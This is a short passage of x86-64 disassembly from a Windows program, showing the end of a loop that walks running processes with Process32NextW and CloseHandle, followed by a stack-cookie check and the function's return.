test eax, eax
jns 0x1400065b5
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000652e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.14000ba80
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret